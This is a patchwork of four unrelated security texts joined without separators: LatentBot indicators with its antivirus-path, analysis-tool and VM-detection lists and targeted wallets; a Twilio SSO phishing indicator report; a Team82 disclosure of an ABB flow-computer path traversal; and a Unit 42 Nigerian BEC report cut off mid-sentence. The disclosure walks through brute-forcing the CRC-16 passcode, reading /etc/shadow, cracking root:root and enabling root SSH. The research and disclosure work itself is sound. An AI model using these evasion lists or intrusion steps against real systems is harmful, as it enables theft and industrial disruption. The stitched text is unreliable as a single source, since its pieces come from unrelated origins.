121.67.110.204 **LATENTBOT Samples:** - 1dd0854a73288e833966fde139ffe385 aya.exe - af15076a22576f270af0111b93fe6e03 lssm.exe **BOT_ENGINE Plugin:** The list of default installation paths of popular AV - Documents and Settings\All Users\Application Data\Agnitum - Documents and Settings\All Users\Application Data\avg10 - Documents and Settings\All Users\Application Data\avg8 - Documents and Settings\All Users\Application Data\avg9 - Documents and Settings\All Users\Application Data\Avira - Documents and Settings\All Users\Application Data\Doctor Web - Documents and Settings\All Users\Application Data\ESET - Documents and Settings\All Users\Application Data\f-secure - Documents and Settings\All Users\Application Data\G DATA - Documents and Settings\All Users\Application Data\Kaspersky Lab\ - Documents and Settings\All Users\Application Data\McAfee - Documents and Settings\All Users\Application Data\Microsoft\Microsoft Antimalware - Documents and Settings\All Users\Application Data\PC Tools - Documents and Settings\All Users\Application Data\Symantec - Documents and Settings\All Users\Application Data\Trend Micro - Documents and Settings\All Users\AVAST Software - Documents and Settings\NetworkService\Local Settings\Application Data\F-Secure - Program Files\Agnitum - Program Files\Alwil Software - Program Files\AVAST Software - Program Files\AVG - Program Files\Avira - Program Files\BitDefender9 - Program Files\Common Files\Doctor Web - Program Files\Common Files\G DATA - Program Files\Common Files\PC Tools - Program Files\DrWeb - Program Files\ESET - Program Files\F-Secure Internet Security - Program Files\FRISK Software - Program Files\Kaspersky Lab - Program Files\McAfee - Program Files\Microsoft Security Essentials - Program Files\Norton AntiVirus - Program Files\Panda Security - Program Files\PC Tools Internet Security - Program Files\Symantec - Program Files\Trend Micro - Program Files\Vba32 **VNC Plugin: Searching for malware analyst tools** - OLLYDBG - DBG - W32DSM - drivers\sice.sys - drivers\ntice.sys - drivers\syser.sys - drivers\winice.sys - drivers\sice.vxd - drivers\winice.vxd - winice.vxd - vmm32\winice.vxd - sice.vxd - hgfs.sys - vmhgfs.sys - prleth.sys - prlfs.sys - prlmouse.sys - prlvideo.sys - prl_pv32.sys - vpc-s3.sys - vmsrvc.sys - vmx86.sys - vmnet.sys - \\.\SICE - \\.\SIWVID - \\.\NTICE - \\.\TRW - \\.\TWX - \\.\ICEEXT - \\.\Syser - \\.\SyserDbgMsg - \\.\SyserBoot - SbieDll.dll - api_log.dll - dir_watch.dll - dbghelp.dll - pstorec.dll - Sandbox - honeyq - vmware - nepenthes - snort - andyd - c:\analysis - joeboxcontrol.exe - wireshark.exe - regmon.exe - filemon.exe - procmon.exe - SandboxieRpc - SandboxieDcomLaunch.exe - VBoxService.exe - VMwareTray.exe - VMwareService.exe - VMwareUser.exe - xenservice.exe - sniff_hit.exe - sysAnalyzer.exe - procexp.exe - autoruns.exe - prl_cc.exe - LoadOrd.exe - Diskmon.exe - RootkitRevealer.exe - portmon.exe - Tcpview.exe - Dbgview.exe - procdump.exe - cfp.exe **PONY STEALER Plugin: List of Bitcoin Wallets and Currencies** - Bitcoin - Litecoin - Namecoin - Terracoin - PPcoin - Primecoin - Feathercoin - Novacoin - Freicoin - Devoin - Franko - Megacoin - Quarkcoin - Worldcoin - Infinitecoin - Ixcoin - Anoncoin - BBQcoin - Digitalcoin - Mincoin - Goldcoin - Yacoin - Zetacoin - Fastcoin - I0coin - Tagcoin - Bytecoin - Florincoin - Phoenixcoin - Luckycoin - Craftcoin - Junkcoin **Wallets:** - Armory wallet - Electrum wallet - Multibit wallet
# Early Analysis of the Twilio Phishing Attack - It is the Tip of the Iceberg **What happened?** On August 4th, threat actors gained illicit access to customer information on the Twilio platform - a global UCaaS service with nearly 8,000 employees - following an SMS-based social engineering attack that fooled staff into providing login credentials through a malicious access portal. The attack vector was simple: employees received a text message asking them to renew their company credentials via what appeared to be a legitimate URL. Staff members followed the link, believing it to be genuine, and inputted their credentials, which enabled threat actors to harvest numerous sets of authentication details, providing them access to restricted customer records. Twilio’s response was admirable; they immediately consulted with similarly affected firms, cell carriers, and the security community to mitigate any further damage. However, threat actors resumed their assault by sending messages over alternate carriers and used different hosting providers to facilitate access to compromised login portals. **Analysis of the attack** In any phishing attack, supplemental domain analysis is key to both unlocking the attack vector and protecting against further intrusions originating from the same IoC. We analyzed the DNS information of `twilio-sso[.]com` and identified a subdomain of `orderlyfashions[.]com`, hosted on the same IP address as the original IoC. The domain populates a website that displays a customized Dolibarr login page - an open-source ERP and CRM platform. Upon further analysis, we uncovered several phishing domains targeting Twilio, all of which redirected to the same Dolibarr login page. It is possible that threat actors were using a communal login portal redirected from multiple domains, the purpose of which is unclear, but possibly as a central administration portal. The control panel could just be a skin to hide their phishing control panel, or it may be that they used a vulnerability in the control panel to take over the infrastructure and launch their campaign from there. A number of things lead us to believe the former is the more likely scenario. Wherever we found the login page, once we analyzed the IP addresses used to host it, we found even more SSO phishing pages. Here are a few domains that we uncovered by following an IP chain that originated with the Dolibarr panel: - Domain: `mail.getfoodz[.]com` - Domain: `lefmakeup[.]xyz` Threat actors cast their nets far and wide. Social engineering is a numbers game - the more users they can get in front of, the more chance they have of harvesting authentication data. This particular threat actor also created phishing targeting other companies: Accenture, Microsoft, Manpowergroup, Sykes, Telus, TTEC, iQor, and Rogers Communication. After consolidating our results, a pattern started to emerge - all of the above organizations provide some sort of communication service (UCaaS, VOIP, messaging, etc.) and most of them facilitate a service that allows companies to communicate with their customer base, and vice versa. This particular group of threat actors clearly thinks that online SSO portals are less likely to be questioned than other forms of cloud-based authentication, and for good reason - information is a commodity, and SSO login information commands top dollar. Some of the malicious -sso and -okta domains we discovered were hosted on infrastructure also used by the ACTINIUM group within the same time frame - threat actors that the Ukrainian Government have publicly linked to the Russian Federal Security Service. With the right security tools and search methodologies in place, threat sources aren’t particularly difficult to uncover. For example, `sykes-sso[.]com` is hosted on `155.138.240[.]251`, the same IP that contains several subdomains of `lotorgas[.]ru` - a well-known part of ACTINIUM’s DNS infrastructure. Twilio was just one of many targeted organizations. There are numerous mini campaigns here targeting different types of organizations. Each category of target gives the attacker potential access to many other organizations. For example, one set of targets are Business Process Outsourcing companies like Arise. Another is transactional email companies like Sendgrid and Mailchimp. We reveal some of the IOCs associated with these campaigns below. We are still tracking more of this infrastructure in different categories of targeted organizations. For a comprehensive live feed, subscribe to the service. **How Silent Push helps companies prevent phishing attacks** Silent Push’s proprietary scanning software maps out the Internet’s entire IPv4 infrastructure every day - all 4,294,967,296 addresses - allowing us to provide an up-to-date assessment of risk levels and malicious activity at any given time. We also re-resolve all DNS every day and make behavior attributes from the changes. We have the most complete view of the entire internet every day and its changes. Public DNS infrastructure gives you your first insight into all manner of attack vectors - not just SMS phishing and SSO spoofing. Organizations need to monitor the larger extended attack surface for infrastructure targeting them and take upfront blocking action on it to prevent attackers from finding ways in. Our platform features a detection-focused analytics engine that provides organizations with a top-down view of changes to their infrastructure, any domains of interest, and critical DNS variables - including NS and AS records - that keeps them one step ahead of threat actors and ensures they don’t end up on the wrong end of a global news report. We will provide you with daily threats that are targeting your organization. **Reference information** **URLs with a compromised Dolibarr control panel** - `orderlyfashions[.]com` - `mail.getfoodz[.]com` - `lefmakeup[.]xyz` - `*.orderlyfashions[.]com` - `*.getfoodz[.]com` - `*.lefmakeup[.]xyz` **Phishing domains related to the same control panel** - `twilio.okta-access[.]com` - `twilio.okta-teams[.]com` - `twilio.okta.com-helpdesk[.]id` - `twilio.okta.com-oauth2[.]id` - `twilio.okta.com-portal[.]id` - `twilio.okta.com-workspace[.]id` - `twilio.okta.com.globalchange[.]id` - `twilio.okta.com.online-procedure[.]id` - `twilio.okta.com.system-revamp[.]id` - `twilio.okta.system-revamp[.]id` - `twilio.oktaportals[.]com` - `twilio.oktaservice[.]com` - `twilio.oktasignin[.]com` - `twilio.oktaworkspace[.]com` - `www.twilio.okta.com-update[.]online` - `www.twilio.okta.com.globalchange[.]id` - `www.twilio.okta.com.online-procedure[.]id` - `www.twilio.okta.com.system-revamp[.]id` - `www.twilio.okta.system-revamp[.]id` **Phishing domains targeting other companies** - `accenture-sso[.]com` - `arise-okta[.]com` - `att-sso[.]com` - `bandwith-okta[.]com` - `coin-base-okta[.]com` - `concentrix-sso[.]com` - `iqor-duo[.]com` - `iqor-duo[.]net` - `iqor-sso[.]net` - `mailchimp-help[.]com` - `manpowergroup-sso[.]com` - `microsoft-sso[.]net` - `rogers-sso[.]com` - `rogers-help[.]net` - `sitel-sso[.]com` - `sykes-sso[.]com` - `t-mobile-okta[.]net` - `t-mobile-okta[.]org` - `t-mobile-sso[.]net` - `teleperformance-ssovcom` - `telus-sso[.]com` - `tmo-sso[.]com` - `transcom-sso[.]com` - `ttec-sso[.]com` - `twiiio-okta[.]com` - `twiiio-sso[.]com` **Linked IP addresses** - `143.198.156[.]234` - `146.190.42[.]89` - `146.190.44[.]66` - `147.182.201[.]149` - `149.248.62[.]54` - `155.138.240[.]251` - `161.35.119[.]80` - `164.92.122[.]3` - `167.172.131[.]89` - `167.99.221[.]10` - `45.32.212[.]77` - `45.32.66[.]165` - `45.63.39[.]151` - `45.76.80[.]199` - `66.42.91[.]138` - `66.42.90[.]140` - `185.173.37[.]140` - `77.232.40[.]101` - `185.244.181[.]186` - `64.52.80[.]26` - `45.61.136[.]168` - `185.173.38[.]46` Thank you! The Team
# An Oil and Gas Weak Spot: Flow Computers ## Executive Summary Flow computers calculate oil and gas volume and flow rates; these measurements are critical not only to process safety but are also used as inputs in other areas, including billing. Team82 is disclosing details on a path-traversal vulnerability in ABB TotalFlow flow computers and controllers. An attacker could exploit a vulnerable system to inject and execute arbitrary code. CVE-2022-0902 (CVSS v3: 8.1) was addressed in a firmware update. Affected products include: - ABB’s RMC-100 (Standard) - RMC-100-LITE - XIO - XFCG5 - XRCG5 - uFLOG5 - UDC products. ## Introduction Flow computers are specialized computers that calculate volume and flow rates for oil and gas that are critical to electric power manufacturing and distribution. These machines take liquid or gas measurements that are vital to process safety and are also used as inputs by other processes—alarms, logs, configurations—and therefore require accuracy to ensure reliability. These capabilities are described in the American Gas Association’s AGA Report No. 9. One important aspect of flow computers within a utility is billing. The most noteworthy related security incident was the ransomware attack against Colonial Pipeline, which impacted enterprise systems and forced the company to shut down production because it could not bill customers. Disrupting the operation of flow computers is a subtle attack vector that could similarly impact not only IT but also OT systems; this led us to research the security of these machines. Team82 focused on ABB flow computers because of their use within many large oil and gas utilities worldwide. We looked for vulnerabilities that could give an attacker the ability to influence measurements by remotely running code of their choice on the device. As a result, Team82 found a high-severity path-traversal vulnerability (CVE-2022-0902) in ABB’s TotalFlow Flow Computers and Remote Controllers. Attackers can exploit this flaw to gain root access on an ABB flow computer, read and write files, and remotely execute code. ABB has made a firmware update available that resolves the vulnerability in a number of product versions; it also recommends network segmentation as a mitigation. More information, including affected product versions, is found in ABB’s advisory. ## How Flow Computers Work Flow measurement computations, especially gas flow, demand a substantial amount of processing power and thus are often calculated by a low-power CPU rather than a microcontroller. Flow meters read raw data from attached sensors that measure the volume of a substance in various ways, depending on what’s being measured (gas or liquid). Different examples of flow meters include electromagnetic, vortex, differential pressure, thermal, coriolis, and others. Three types of sensors are used to calculate gas flow using a differential pressure technique: absolute pressure transmitters, differential pressure transmitters, and absolute temperature transmitters. Raw data is sent to the flow computer, which measures gas flow. ## Researching ABB’s µFLO G5 Flow Computer The target of our research was ABB’s µFLO G5 flow computers. This device can receive raw sensor data from other flow meters, perform flow calculations (following the AGA and ISO standards), and show/propagate the output. The µFLO G5 is a single board computer with IO ports (Ethernet, USB, etc.), CPU, and other peripherals. The CPU is an ARMv8 processor, which is a 32-bit architecture. The device runs Linux as an operating system, which was good news for us, because this increased our chances to emulate the device in the lab. From a security perspective, the µFLO G5 features three main mechanisms: 1. **Security switch**: A physical switch attached to the board that will enable/disable the use of the security passcode. 2. **Security passcode**: Two four-digit passcodes; one for reading data, and another authorizing writing of data. 3. **RBAC**: Role-based access control which assigns roles and permission to read and write specific attributes; this option is implemented only on the client side. ## Client Application The flow computer can be remotely configured with a designated configuration program. The interesting thing to note is that configuration is done via a proprietary protocol designed by ABB called TotalFlow. This protocol can be used on top of a serial or Ethernet (TCP) connection. Most of the communication between the client and the device—retrieval of the gas flow calculations, set and get device settings, import and export of the configuration files—is done over the TotalFlow protocol (TCP/9999). Our goal in this research is to achieve remote code execution on the device. The proprietary protocol seemed to be a good attack vector to start with because undocumented protocols are usually less reviewed by security researchers. ## Understanding ABB’s TotalFlow Protocol As we began our examination of the proprietary TotalFlow protocol, we knew two things: TotalFlow is used to configure the device and send the flow measurements to the client, and it listens on TCP port 9999. Our goal is to be able to send and receive messages of our choice to test the implementation of the protocol. For this, we need to understand the protocol structure and build a simple client that constructs the payload. Luckily for us, the firmware is available online and is not encrypted, therefore we could easily extract it in order to analyze the application. First, we wanted to find the binary that implements the protocol. Often the implementation of the protocol will reside at the main executable file or one that is directly linked to it. Because our target is a Linux-based embedded device, the main binary will be executed at system’s init. The good place to search for this is the init.d/inittab. The init revealed the name of the binary: devLoader.exe (exe is a probably legacy name from when the device ran on Windows CE), which allowed us to reverse engineer it. The binaries within the firmware were stripped, but we had a lot of error-related logging strings, which was great for our research because it makes our life easier in finding interesting functions. There are few techniques we can start with to search for the relevant code for incoming packet handling: 1. Look for matching strings from the client application and the firmware. 2. Another good place is CRC checks. Embedded devices, especially ones that receive data from serial ports, use a CRC checksum to validate the accuracy of the received payload. Finding the place where CRC checks are validated is interesting because this will point to the payload that was received from the client. 3. Last but not least are the error strings; if you are fortunate, you will be able to find the relevant code just by looking at those. Now that we have a basic understanding of what we need to look for and where to find it, our next step is to create a setup of the device so we can dynamically debug it. ## Emulating a Flow Computer on Raspberry Pi Although quite often we purchase devices we research, this time it was not an option. When the application of interest is within the user space and the device runs a familiar operating system on familiar architecture, it is often possible to emulate the relevant part. Therefore, we took one of our Raspberry Pis, copied the firmware’s file system to it, and chrooted the directory. The main disadvantage of emulating the device is that at some point the application will want to communicate with peripherals. Unfortunately, our Raspberry Pi doesn’t have orifice plates attached to it, so any communication with them needs to be patched (changed within the binary). The procedure to patch the application is straightforward: 1. Run the binary 2. Wait for the binary to crash (due to emulation/setup issues) 3. Patch the function that causes the problem (e.g., skip a check) 4. Back to Step No. 1 In this research, seven functions were patched across two binaries; these functions communicate with the sensors and other hardware peripherals, which obviously do not exist in our simulated Raspberry Pi environment. Four hours later, we were good to go to the next step. ## Debugging the TotalFlow Protocol Now that we have a working setup, we were ready to analyze communication between the device and the client application. With a debugger, we can stop at the interesting functions that we have found by reverse engineering the binary and completing our understanding of the protocol. We downloaded the client application (PCCU) from the ABB website and installed it on a Windows machine. We connected the application to the flow computer by providing the IP address of the Raspberry Pi. TotalFlow is a relatively simple protocol: Every setting within the device has its own TAG that is defined by a tuple called Registers (APP, ARRAY, INDEX). For example, the “SSH Service” setting is accessible by the (0.7.27) Register. The RegisterGet and RegisterSet functions are responsible for changing/returning the Register’s value. The following is the payload that will enable SSH - as we set the triple tuple of the SSH settings to be enabled - app: 0 array: 07 index: 0x1b (27). Now that we understood the protocol structure, we could write a simple python client with interesting functionalities such as read-write Registers, enable SSH, and more. In order to do this, we need to be authenticated by providing the correct security code. ## Authentication Bypass The security code is a CRC-16 of the four-digit security passcode. Since the device sends an error message on incorrect code and there is no rate limit mitigation available on the device, we can easily bypass the authentication mechanism by enumerating all possibilities. CRC-16 is a two-byte value, which has a maximum of 216 possibilities. We can brute force all of the possible values in a range 0-65,535, which can take about four minutes. We can also optimize it by calculating, prior to the attack, the values from CRC-16 (0000) to CRC-16 (9999) and thus reducing the number of possibilities to 10,000. ## Finding a Vulnerability Now that we have an authentication bypass, it is time to look at functionalities available to authenticated users. The configuration can be uploaded and downloaded, which is a good place to look for bugs because file operations are not always done securely. We can see that the request contains a file name in the tfData directory. Let's check for a path traversal vulnerability by requesting the /etc/shadow file. Nice. It works. ## Remote Code Execution Now that we have arbitrary read and write, it is simple to get code execution. We chose the simplest approach, reading /etc/shadow and using hashcat to crack the root account password (which turned out to be root:root). Then we changed the SSH configuration file to enable root to connect using a password. Then all that was left to do was to turn on the SSH daemon (using the TotalFlow protocol) and to connect to it. ## The Vulnerability **CVE-2022-0902** **CWE-22 Path Traversal Vulnerability** **Affected Products**: ABB Flow Computers and Remote Controllers’ Totalflow TCP protocol **CVSS v3 score**: 8.1 This path traversal vulnerability can enable an attacker to take over flow computers and remotely disrupt the flow computers’ ability to accurately measure oil and gas flow. These specialized computers calculate these measurements that are used as inputs in a number of functions, including configurations and customer billing. A successful exploit of this issue could impede a company’s ability to bill customers, forcing a disruption of services, similar to the consequences suffered by Colonial Pipeline following its 2021 ransomware attack. Team82 disclosed this vulnerability to ABB, which issued an update that addresses the issue. ABB also advises network segmentation as a mitigation strategy; further information is available in ABB’s advisory.
# SilverTerrier – Nigerian Business Email Compromise **By Peter Renals** **October 7, 2021** **Category: Unit 42** **Tags: Business Email Compromise, Cybercrime, SilverTerrier** ## Executive Summary Business email compromise (BEC) remains the most common and costly threat facing our customers. The year 2020 marked the fifth year in which these schemes held the top position on the annual FBI Internet Crime Complaint Center (IC3) report. Over half a decade, global losses ballooned from $360 million in 2016 to a staggering $1.8 billion in 2020. Put in perspective, the annual losses associated with BEC schemes now exceed the gross domestic product (GDP) of 24 countries. Of greater concern, the combined losses in the three-year period 2018-2020 are now estimated to be in excess of $4.93 billion worldwide. This threat shows no sign of slowing down, as losses increased 29% last year to an average of $96,372 per victim. Over the past half-decade, Palo Alto Networks Unit 42 has actively monitored the evolution of this threat with a unique focus on threat actors based in Nigeria, which we track under the name “SilverTerrier.” While BEC is a global threat, our focus on Nigerian actors provides insights into one of the largest subcultures of this malign activity, given the country’s consistent ranking as one of the top hotspots for cybercrime. We have compiled one of the most comprehensive data sets across the cybersecurity industry, with over 170,700 samples of malware from over 2.26 million phishing attacks, linked to roughly 540 distinct clusters of BEC activity. Since 2016, we have witnessed several high-profile arrests of BEC actors, including two arrests of actors accused of stealing $24 million and $60 million respectively. Simultaneously, Nigeria has demonstrated significant growth and outcomes in terms of driving reductions in how brazenly these actors operate. Leveraging our data set, we continue to actively partner with and support industry, government, and international law enforcement efforts to combat this threat. This blog provides a brief history of BEC, examines the evolution of SilverTerrier actors over time, identifies recent malware trends, describes efforts taken to date to combat this activity, and provides recommendations to help organizations protect against these threats. Palo Alto Networks customers are protected against the types of BEC threats discussed in this blog by products including Cortex XDR and the WildFire, Threat Prevention, AutoFocus, and URL Filtering subscription services for the Next-Generation Firewall. ## Defining Business Email Compromise Before describing the evolution of BEC, it is important to establish a baseline definition of the threat. Given its name, many often mistakenly assume BEC encompasses any and all instances of computer intrusions where an email system is compromised. However, this definition could easily apply to almost any computer incident, ranging from supply chain attacks to ransomware, and is therefore far too broad. Conversely, law enforcement and the cybersecurity industry rely on a much narrower definition. Specifically, BEC is considered a category of threat activity involving sophisticated scams that target legitimate business email accounts through social engineering or computer intrusion activities. Once businesses are compromised, cybercriminals leverage their access to initiate or redirect the transfer of business funds for personal gain. The remainder of this blog applies this narrow definition of threat activity. ## Recent History The term “business email compromise” was first coined in 2013 when the FBI began tracking a nascent financial cyberthreat. At the time, BEC was simply viewed as a new cybercrime technique joining the ranks of other unsophisticated schemes, for example, the notorious “Nigerian Prince” scams. Yet, with the benefit of time, we have come to see that BEC was a cultural and technological evolution for the cybercrime ecosystem. The internet experienced unprecedented growth in a compressed time frame (2009-2013), much of which continues today. However, what is often overlooked is that the most significant growth during that period of time occurred in developing regions of the world. African nations, in particular, grew at the fastest rate with 27% annual growth, and by the end of 2013, an estimated 16% of the African population was online. Concurrently, we also witnessed a proliferation of commodity information stealers, remote access trojans (RATs), and penetration testing tools. These capabilities were supplemented with the emergence of cyber certification programs and educational resources, both online and in universities, for how to use these types of tools. It thus becomes readily apparent how actors involved in traditional forms of paper-based mail fraud (Nigerian Prince/advanced fee scams), originating from developing nations, would naturally evolve their tactics to the internet using the newly available tools at their disposal. From a criminal standpoint, it was no longer effective or efficient to send thousands of paper letters through the international mail system and wait for a response. By the end of 2013, they could communicate in real time over the internet and simply send victims malicious files, which enabled their desired criminal outcomes. Unit 42 has been following this evolution for the past six years. In 2014 we released our first report, *419 Evolution*, documenting one of the first known cases of Nigerians deploying malware for financial gain. In 2016, we performed focused research on the threat and quickly discovered it had grown to over one hundred different actors or groups. After assigning the code name “SilverTerrier” to Nigerian cyber actors, we detailed the tremendous growth of both actors and malware adoption in *The Next Evolution of Nigerian Cybercrime*. In 2017, the threat continued to expand to over 300 actors or groups, and we began to track specific malware tool trends in our annual report, *The Rise of Nigerian Business Email Compromise*. Our 2018 report, *SilverTerrier: 2018 Nigerian Business Email Compromise Update*, documented that the number of actors surpassed 400, as the number of attempted attacks against our customers climbed to an average of 28,227 per month. Additionally, we began to observe a shift away from simple information stealers as more actors started to embrace RATs, which afforded greater capabilities. By the end of 2019, this shift in tools had progressed to an established trend, as informational stealer usage declined steadily, while RAT adoption grew an impressive 140% year over year. Our annual report in 2019 also highlighted the emergence of the first set of Nigerian tool developers natively developing their own RATs and crypting tools for sale to their peers. Finally, as we entered 2020 and began to feel the effects from the global COVID-19 pandemic, we documented yet another milestone as threat groups paused their traditional invoice- and package delivery-related phishing campaigns, in favor of pandemic-related themes. In doing so, BEC actors once again demonstrated their ability to adapt to the ever-changing environment in which they operate. ## Actors What started as a small cluster of activity in 2014 has grown significantly in scope and scale over the past seven years. To date, we have identified 540 distinct clusters of activity which we associate with Nigerian actors and groups. Seeking to understand these actors and their behaviors better, in 2016 we worked to identify commonalities among the actors. At the time, we thought that our efforts would confirm existing stereotypes – that these actors were simply young, unorganized script kiddies whose success was based more on luck than skill. Throughout our research, we instead found that the actors were: - **Living Comfortably** – The actors were predominantly from the cities of Owerri, Lagos, Enugu, Warri, and Port Harcourt in the southwest/coastal region of Nigeria. The majority stayed close to friends and family, where they lived quite comfortably based on the favorable exchange rate between foreign currency and the Nigerian naira. Their social media accounts often flaunted their criminal successes with pictures of foreign currency, huge homes, and luxury vehicles such as Range Rovers. Additionally, some of the more successful actors traveled abroad to places like the United Kingdom and Malaysia, where they quickly reestablished their criminal operations. - **Educated** – Many of the actors had attended technical secondary school and went on to obtain undergraduate degrees from federal or regionally aligned technical university programs. - **Adults** – The actors ranged in age from late teenage years to adults in their mid-40s, thus representing a wide range of generations participating in the criminal activity. The older actors were often found to have evolved to BEC activity from other legacy forms of advanced fee scams, while the younger actors graduating with fresh university degrees began their criminal careers by jumping straight into malware campaigns. - **Not Hiding** – While a small subset of the actors went to great lengths to conceal their identities, the culture within Nigeria at the time allowed for a permissive environment for these types of illicit activities. As a result, the actors frequently applied little effort toward maintaining anonymity and often combined fake names or aliases with local street addresses, phone numbers, and personal email addresses when registering their malicious domains. In doing so, we found that it was often easy to link these users to their social media and networking accounts on platforms such as Facebook, Google+, LinkedIn, Twitter, Skype, Yahoo Messenger, and so on. - **Becoming Organized** – Early in the evolution of BEC, we saw that small clusters of actors were beginning to communicate, cooperate, and share tools and techniques. Most commonly, this took the form of an experienced actor standing up malware infrastructure for their friends or younger protégés. Alternatively, we saw actors sponsoring other actors for access to hacking forums, but while there were occasionally large groups of actors working together, such cases were believed to be rare. Unit 42 is revisiting this historical assessment in 2021, and our analysis provides unique insights into how these actors have evolved over time. By and large, the actors are still living comfortably. Those who were most active in 2016 have grown up; they are now married, have children, and have launched legitimate business ventures (hotels, clubs, technology companies, etc.) that were potentially funded through their previous criminal exploits. For those who chose to depart Nigeria, we observed relocation to additional countries in the Middle East, such as Turkey and the UAE. The majority of the actors continue to be well educated, having completed both secondary and university programs. As these actors age, we see a notable decline in criminal activity as actors reach their mid to late 30s. While the exact reason is difficult to pinpoint, we believe that the decline may be due in part to actor maturation, including an interest in reducing risks as they start families, or simply that they have earned enough through their criminal exploits that they wish to pivot to legitimate business ventures. Conversely, it's also worth noting that we rarely see young children or teenagers involved in this type of malicious activity. New actors entering the space tend to be in their late teens and early 20s. On the younger side, technical skills and education, more than anything, remain a firm barrier to entry for this type of criminal activity. Half a decade of change in Nigeria, as well as improved global awareness of the BEC threat, have had a positive effect in driving reductions in how brazenly these actors operate. The Nigeria Police Force (NFP) and Economic and Financial Crimes Commission (EFCC) have demonstrated significant growth and outcomes in their efforts to combat this threat and routinely post pictures of the actors they arrest on Twitter accounts. Aiding their efforts, organizations like INTERPOL, the FBI, and the Australian Federal Police (AFP) have worked to collaborate internationally to enable global prosecution efforts. Concurrently, in the technology space, there have been mixed developments as collaborative platforms like Yahoo Messenger and Google+ were retired, while privacy improvements across social media platforms have impacted attribution efforts. As for the actors themselves, they have faced growing awareness of the risks associated with their criminal activity as the culture in Nigeria has evolved. While social media accounts may still flaunt their wealth, today it is far less common to see the posts openly discussing illegal activities, pictures of foreign currency, or other content that may draw unwanted law enforcement attention. However, BEC actors have become far more organized over time. While it remains easy to find actors working as a group, the practice of using one phone number, email address, or alias to register malicious infrastructure in support of multiple actors has made it far more time-consuming (but not impossible) for cybersecurity and law enforcement organizations to sort out which actors committed specific crimes. Similarly, we continue to find that SilverTerrier actors, regardless of geographical location, are often connected through only a few degrees of separation on social media platforms. To illustrate that case, Figure 1 shows social media connections between over 120 actors. ## Malware and Business Email Compromise From 2014 to the present, we have identified over 170,700 samples of malware directly attributed to Nigerian BEC actors. Representatively, this data set serves as the most comprehensive collection of BEC indicators of compromise (IoCs) across the cybersecurity industry. These samples have been observed in over 2.26 million phishing attacks targeting our customers across all industry verticals globally. Over time, we have taken steps to characterize trends from this data set to empower network defenders. We observed that the period 2014-2017 was marked by steady growth in the adoption of information stealers like Pony, LokiBot, and AgentTesla. This was then followed by a decline in recent years as tool availability declined, and both industry detection rates and the technical skills of actors improved. As such, from 2018-2020, we witnessed a rapid adoption of RATs, with the most popular being NanoCore, Adwind, Remcos, Netwire, and a homegrown/Nigerian-developed variant of HWorm called WSH RAT. Yet while we continue to see steady growth and adoption of RATs by SilverTerrier actors, our analysis of telemetry from 2020 through the first half of 2021 found it was also important to consider the influence that the global ecosystem has on their activity. In a pre-COVID world, it made sense to highlight new tools annually, as there were frequent changes in tools marketed to actors on cybercrime forums. While that continued to a certain extent throughout the pandemic, the reality is that we didn’t observe any significant shift among BEC actors toward new tools or capabilities over the past year and a half. Instead, our telemetry shows that these actors generally opted to stick with known tools with demonstrated capabilities and performance. In doing so, they focused their attention on adapting and tailoring their delivery campaigns to the shifting global environment. If asked to consider the impact of the pandemic from a technology standpoint, many would quickly point out that much of the global workforce shifted to remote work arrangements. Depending on the size and resources of employers, employees began leveraging VPN solutions, employer-provided or personal computing devices, and home internet connections. These developments significantly changed how cybersecurity protections were applied across enterprises, more than any other event in the last decade. Furthermore, this shift may have even influenced employee risk tolerance (e.g., increased suspicion of phishing emails), as their work devices were now connected to their home networks. As a result, BEC actors saw a massive shift in the global attack surface that necessitated a change in their delivery themes and techniques. In 2019 it was common to see BEC actors build new malware payloads as portable executable files (.exe files) and distribute them using phishing campaigns with business themes such as invoices or delivery notices. At the time, Microsoft Office file formats were also leveraged on occasion, adding a layer of complexity and obfuscation. Two of the most common techniques used in developing these documents included exploit code for CVE-2017-11882 or embedding a malicious macro. In both cases, upon opening, these documents were designed to call out, download, and run a malicious payload from an online resource. However, across the totality of the samples we analyzed in 2019, only 3.5% used macros and only 3.6% used the CVE-2017-11882 technique. As early as January 2020, phishing lures began to change to themes associated with the pandemic. Examples include “Coronavirus in Indonesia: Know how to protect and prevent yourself. Don’t get infected” and “Covid:19 Facial Masks - New Order.” As the themes changed, so too did the target audience and delivery packaging. Portable executables remained popular, but we observed a marked increase in Microsoft Word and Excel documents. By the end of the year, Microsoft Office documents with embedded macros remained steady at 3.5%, but documents utilizing the familiar and well-documented CVE-2017-11882 climbed to 13.5%. Fortunately, CVE-2017-11882 is now a four-year-old vulnerability, and it makes sense that its effectiveness, and therefore its use, would fade over time. Conversely, macros have a more lasting presence as they are relatively easy to code and rely on unsuspecting victims to enable them. In reviewing our telemetry from the first half of 2021, our preliminary findings show only a minimal number of malware samples using the CVE technique, while 69% of all malware samples are now Office documents with embedded macros. We know that the global pandemic has driven exponential change in various technologies supporting remote work (cloud computing, video conferencing, etc.). At the same time, we also acknowledge that the astonishing growth curve of malware packaged as Office documents – climbing from a combined 7% in 2019, to 17% in 2020, to 69% in 2021 – warrants further investigation. Taking a deeper look, we found that the raw number of malware samples packaged as Office documents halfway through 2021 already meets or far exceeds the annual number of samples we observed in previous years. As such, we remain confident that there is a definitive growth trend. At the same time, we believe it is also critically important to understand that between mid-2020 and early 2021, almost every business on the planet revised their cybersecurity posture, changed appliances in their environment, re-architected their network traffic flows, and tightened their network security policies to support remote work practices. The effect of these changes must be considered when analyzing threat trends. Applied in combination and at a macro level, these adjustments significantly altered the visibility of threats across both the perimeter (firewall) and host (endpoint) levels. For example, attachments that may have been permitted following cybersecurity analysis in a corporate work environment may have become blocked by default in a remote work environment. Depending on implementation, such a change would reduce the visibility of threats for a cybersecurity company. Thus, it is nearly impossible to draw an even comparison between pre- and post-pandemic threat activity, as the collection posture across the entirety of the cybersecurity industry has shifted dramatically. We applied this lesson to our observations of malicious Office documents and assessed that our preliminary findings of 69% for 2021 are likely artificially inflated due to changes in collection posture over the past year. However, even after accounting for any artificial inflation, a clear growth pattern remains worthy of recognition by network defenders. ## Combating BEC As a global cybersecurity leader, Palo Alto Networks aggressively pursues its mission to be the cybersecurity partner of choice while protecting our digital way of life. In doing so, our focus extends well beyond the protections that our products and services provide to our customers. We seek to provide thought leadership and threat intelligence broadly across the community while simultaneously working with law enforcement entities worldwide to thwart future threats. We are not alone in our vision for stopping malicious cyber activity. Over the past few years, the cybersecurity community has teamed with law enforcement to achieve successful outcomes against this threat on several occasions. As a leader in the industry, we continue to promote such efforts and encourage others across our industry to do the same. One notable example is a joint arrest by Interpol and the EFCC in 2016 of an actor who stole more than $60 million from hundreds of victims, including $15.4 million from just one organization. Two years later, in 2018, the FBI launched its first global campaign targeting BEC actors, 